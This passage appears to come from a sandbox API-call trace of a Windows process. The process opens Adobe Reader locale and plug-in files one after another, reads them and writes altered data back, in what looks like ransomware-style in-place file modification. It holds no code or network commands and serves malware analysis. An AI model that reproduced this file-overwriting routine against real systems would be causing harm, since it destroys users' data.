nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.734] WriteFile (in: hFile=0x198, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.734] CloseHandle (hObject=0x198) returned 1 [0039.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\PPKLITE.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\ppklite.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.734] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.735] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x7f600 [0039.735] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.735] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.735] ReleaseMutex (hMutex=0x128) returned 1 [0039.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.735] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="PPKLITE.UKR", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PPKLITE.UKR", lpUsedDefaultChar=0x0) returned 11 [0039.735] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.736] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7e600 [0039.737] ReadFile (in: hFile=0x198, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.738] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x7e600 [0039.738] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.738] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.738] WriteFile (in: hFile=0x198, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x354f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.739] CloseHandle (hObject=0x198) returned 1 [0039.739] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Updater.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\updater.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.739] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.739] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x2800 [0039.739] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.739] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.739] ReleaseMutex (hMutex=0x128) returned 1 [0039.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0039.739] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Updater.UKR", cchWideChar=11, lpMultiByteStr=0x1e633ac, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Updater.UKR", lpUsedDefaultChar=0x0) returned 11 [0039.739] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.741] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1800 [0039.741] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.742] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x1800 [0039.742] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.742] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.742] WriteFile (in: hFile=0x198, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.742] CloseHandle (hObject=0x198) returned 1 [0039.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\eBook.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\ebook.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.743] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.743] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1600 [0039.743] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.743] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.743] ReleaseMutex (hMutex=0x128) returned 1 [0039.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0039.743] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.CHS", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.CHS", lpUsedDefaultChar=0x0) returned 9 [0039.743] ReadFile (in: hFile=0x198, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1600, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x354f2bc*=0x1600, lpOverlapped=0x0) returned 1 [0039.749] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.749] WriteFile (in: hFile=0x198, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1b88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x354f2d0*=0x1b88, lpOverlapped=0x0) returned 1 [0039.749] CloseHandle (hObject=0x198) returned 1 [0039.749] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\SaveAsRTF.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\saveasrtf.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3200 [0039.750] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.750] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.750] ReleaseMutex (hMutex=0x128) returned 1 [0039.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.CHS", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.CHS", lpUsedDefaultChar=0x0) returned 13 [0039.750] ReadFile (in: hFile=0x198, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.752] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2200 [0039.752] ReadFile (in: hFile=0x198, lpBuffer=0x2770358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.752] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2200 [0039.752] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.753] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.753] WriteFile (in: hFile=0x198, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.753] CloseHandle (hObject=0x198) returned 1 [0039.753] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\AdobeCollabSync.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\adobecollabsync.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.753] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.753] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x1800 [0039.753] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.753] ReleaseMutex (hMutex=0x128) returned 1 [0039.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0039.753] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x1e789ec, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHT", lpUsedDefaultChar=0x0) returned 19 [0039.753] ReadFile (in: hFile=0x198, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x354f2bc*=0x1800, lpOverlapped=0x0) returned 1 [0039.756] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.756] WriteFile (in: hFile=0x198, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1d88, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x354f2d0*=0x1d88, lpOverlapped=0x0) returned 1 [0039.756] CloseHandle (hObject=0x198) returned 1 [0039.756] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Multimedia.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\multimedia.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.757] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.757] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xda00 [0039.757] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.757] ReleaseMutex (hMutex=0x128) returned 1 [0039.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0039.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CHT", cchWideChar=14, lpMultiByteStr=0x1e6342c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CHT", lpUsedDefaultChar=0x0) returned 14 [0039.757] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.759] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xca00 [0039.759] ReadFile (in: hFile=0x198, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.759] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0xca00 [0039.760] WriteFile (in: hFile=0x198, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.760] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0039.760] WriteFile (in: hFile=0x198, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.760] CloseHandle (hObject=0x198) returned 1 [0039.760] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.760] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xe4 [0039.761] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.761] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.761] ReleaseMutex (hMutex=0x128) returned 1 [0039.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.761] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.761] ReadFile (in: hFile=0x198, lpBuffer=0x1dd1638, nNumberOfBytesToRead=0xe4, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dd1638*, lpNumberOfBytesRead=0x354f2bc*=0xe4, lpOverlapped=0x0) returned 1 [0039.762] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0039.762] WriteFile (in: hFile=0x198, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x66c, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x354f2d0*=0x66c, lpOverlapped=0x0) returned 1 [0039.762] CloseHandle (hObject=0x198) returned 1 [0039.762] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform.api"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0039.763] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.763] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0xae8a63 [0039.763] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0039.763] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.763] ReleaseMutex (hMutex=0x128) returned 1 [0039.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.763] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AcroForm.api", cchWideChar=12, lpMultiByteStr=0x1e633ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AcroForm.api", lpUsedDefaultChar=0x0) returned 12 [0039.763] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.347] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.774] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.774] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.925] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.925] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.926] VirtualAlloc (lpAddress=0x0, dwSize=0x60000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ef20000 [0040.959] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.959] VirtualQuery (in: lpAddress=0x7ef80000, lpBuffer=0x354f23c, dwLength=0x1c | out: lpBuffer=0x354f23c*(BaseAddress=0x7ef80000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x9000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0040.960] VirtualAlloc (lpAddress=0x0, dwSize=0x80000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eea0000 [0040.977] VirtualFree (lpAddress=0x7ef20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0040.980] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.981] ReadFile (in: hFile=0x198, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x354f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.981] VirtualQuery (in: lpAddress=0x7ef20000, lpBuffer=0x354f23c, dwLength=0x1c | out: lpBuffer=0x354f23c*(BaseAddress=0x7ef20000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x69000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0040.981] VirtualAlloc (lpAddress=0x7ef20000, dwSize=0x20000, flAllocationType=0x2000, flProtect=0x4) returned 0x7ef20000 